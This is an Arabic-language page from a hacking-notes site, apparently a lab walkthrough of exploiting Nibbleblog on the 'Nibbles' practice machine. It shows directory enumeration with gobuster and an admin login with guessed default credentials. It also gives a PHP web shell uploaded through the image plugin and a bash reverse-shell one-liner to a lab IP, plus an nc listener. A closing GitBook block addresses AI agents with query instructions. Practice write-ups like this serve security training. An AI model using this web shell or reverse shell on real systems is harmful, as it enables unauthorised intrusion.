> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/nibbles-blog-cms-exploitation.md).

# Nibbles Blog

### مدونة Nibbles - نظام إدارة المحتوى

<figure><img src="/files/c27a942259978f9a7159a5569c99d81f2d2f855e" alt=""><figcaption></figcaption></figure>

يبدو أن الموقع عبارة عن نظام إدارة محتوى Nibbleblog. استخدم `gobuster` للبحث عن أدلة إضافية:

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/902c638c78e6a78308a3105c49058465061b1577" alt=""><figcaption></figcaption></figure>

#### البحث عن ملفات PHP:

يكشف تعداد ملفات PHP عن `admin.php`، والذي يبدو أنه لوحة تحكم إدارية.

<figure><img src="/files/2b6c6f2984a365630ca826642a0265d98bd9b0fc" alt=""><figcaption></figcaption></figure>

#### محاولة تسجيل الدخول باستخدام بيانات الاعتماد

حاول تسجيل الدخول باستخدام بيانات الاعتماد التالية:

* **المستخدم** : admin
* **كلمة المرور** : nibbles

<figure><img src="/files/f9761628456cb9b794588df9843c63eee5001527" alt=""><figcaption></figcaption></figure>

ينجح هذا ويوفر الوصول إلى واجهة الإدارة.

<figure><img src="/files/ab1f034c481cdbf981cc05e1e8477f03fa11bfb6" alt=""><figcaption></figcaption></figure>

## ثغرة رفع الملفات في Nibbleblog

تم اكتشاف ميزة لرفع الصور:

<figure><img src="/files/a9301de347069fbeabe475db50eb0262fdfe7643" alt=""><figcaption></figcaption></figure>

أنشئ `cmd.php` ملف بالشيفرة التالية لتمكين تنفيذ الأوامر:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

يتم رفع الملف إلى `المحتوى`، حيث يوجد `خاص` يحتوي المجلد الفرعي على الإضافات.

<figure><img src="/files/e3ead2ed0aae164b8c8380014c1241d263768f95" alt=""><figcaption></figcaption></figure>

#### تنفيذ الأوامر عبر رفع الملفات

الـ `cmd` يسمح المعامل بتنفيذ الأوامر. على سبيل المثال، استخدم عنوان URL التالي للحصول على معلومات هوية النظام:

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="/files/7996eebfc5f8c11848172a10bd507f7851958c75" alt=""><figcaption></figcaption></figure>

احصل على وصول إلى الخادم عبر shell عكسي. ابدأ مستمعًا على المنفذ 443:

```bash
nc -nlvp 443
```

ثم نفّذ الـ reverse shell على الهدف:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="/files/d75d216123b0fb662f029321096761aa0ab943a0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/nibbles-blog-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
